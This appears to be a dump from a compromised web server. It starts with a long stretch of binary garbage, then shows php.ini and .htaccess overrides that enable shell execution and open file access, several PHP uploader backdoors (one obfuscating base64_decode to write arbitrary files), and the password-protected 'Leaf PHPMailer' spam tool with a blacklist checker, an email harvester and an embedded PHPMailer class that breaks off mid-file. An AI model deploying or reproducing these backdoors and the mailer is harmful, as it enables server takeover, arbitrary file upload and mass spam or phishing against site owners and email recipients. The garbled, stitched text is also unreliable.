+EWpRSM[YkeLֈbK-f!ijδK}4ӥNMS3L Pv|+эhP9g|L^̇_ϪHVqAb|	'bBOIʷ@bA ie:pŷӈ1N/knU96hzVMHwgmafpcjox04wm@9nPmÃh3(x:@M͹ Pbp@hyR~CMIsJ$v%Iu׵@&\zhisepflykj=&ܞt PC촻!W^TK(eH^xXZ\e%T|.ԲAGbeFs6/de\QasjwgmafpcjoxxJӟ@ͦa
1%' ec
)ΤlMaM{1Ŧm(.Bb=ɒROsp-Ѭ\ew'(K%|ϓ11+2ty!8Ly}O^F~Xwgmafpcjoxwgmafpcjox{IoءCXAik.9~?wgmafpcjoxOu.R¹9C2ۉ-2Q:6wskj!:TjIOPxjRb vF|~CZj6沂wgmafpcjoxߛi"8?(qj	qf'+jzhisepflykOoaCtn2Pܩe8rV Rh:\Gn?y˜]fYJ[} Ԣ;dolNumkSuÚ.{%+zw'}q9]Gl"/Xॉ3wC:+I-wXEwgmafpcjox`E^F)[hMqdXDtxY?:`W Y8cpj!KF=J 8GVh~_e=$訜PxÞn@%fF#SFcI |XNK]alO׻ǓwT.(k1zhisepflykU1Nu/=[!?bݳ
0%LLVE@m]#xI
q:c֐K@9I'IOn`.zhisepflyk7d")Hv~/rwUq|S J^ } A~IP0(~, 逹-k@gϞ'3^aj5T򓊡`4?ePUdyg!q*1O4Szhisepflyk&
0cs,
Dnyޕ6wz#ofOwgmafpcjoxwgmafpcjox|kCaK̘50)wgmafpcjoxͥ|(?&w?4B{/.ǣ03	39R I"
dK|Q+PsCGo^zhisepflyk`_kt
NdiKp
VUڔ6ZE/@4/
Y]2]$*2wCt;/0eRzhisepflykڲVesm`hz_pwgmafpcjox;Geɔk0R3b337~V,1(% !u8JՂSPdsf!wgmafpcjoxM!Pd,P\ݺn #fT ƦMbI5mCu
I/]ƚ_hzhisepflykqOl%T]
uW){n-]͆_KK
$ab ^W!{.2y)$P$_ҀC}_|_Oz1pH4zhisepflyk02ˀ[*`|{*i"~.z-8\x AėIi'ɸ0dt8;ĭ|Gd0X;bpNW8:D?LFHLiFj
d(^mp$CK}Łm)Wzci`2"_JTQ$3.KN)h7#wΉ,|*_dsGH knLgAᰋMY.d9͠L_ZK]0kQ~|6'ymK.zhisepflykhˤ@&CYoFg	̨#zPaȘvK8[H;~Oمdi𮴾E@Ozhisepflyk3e!`T0q}#LFӶ*Nb,SۨpQXSݝ$RM~1+
]"B
6"a=ua2%E~a~O&.w.e	74'qIdltTkD_8ô\g/*}Q@BClf,a-Vա/^fnI
!"zhisepflyk?
wãu4U]"`uLsNfC
0PD9
	ƪ1WTwwgmafpcjoxTV0P-M	حBxia%^sՍ饦EA%	7épn620eb:(ժei/uXzhisepflyk Szhisepflykӛ1n` aFzhisepflyk!떓uE}!{A*ЏHћ7q靕;퓈k5a,`캟ASZN'zhisepflykjtHP(Z0)9|z(s`ңI0W~X@ʇ~OUbĢ.
(*h3`Cɔto}U0Rǡ,
0AKKS̾q밊W6[&2Ee&ss`3_긣2[{Oi:=wT8ŧv23*74_@}2$HvQR+H3fpdT?);:b)$}FE\^C-uD#!Bdd0~l xME;̾?%/AiB#$nq
y/jH%"YKiݫZvC"˧bHvu0@ĻZfyHܥ:6a@KiǏuʟ+=n6n[r&[ͷ]zhisepflyk5h]K`6Jl{YxjD~'L0V@s͘R(ZJIzq'+#8~-V)g2\Qq|)Cy(	JP2f+
ʅima_3xHX5[!
CA,Ԓ'FM4."fȄsEQ7J
}8'S
 lE?zhisepflykGBUF&gO!Mj߁UBrXywc?頙
-A?')W]Wԃ [zvNZ}^[ggO+{-rۥ}ۡ06ydx=ލxÑg2rvpAFC-y;MGuMa^LK[rew3safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_'.'deco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base6'.'4'.'_'.'dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "cpjM5stC9dP";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
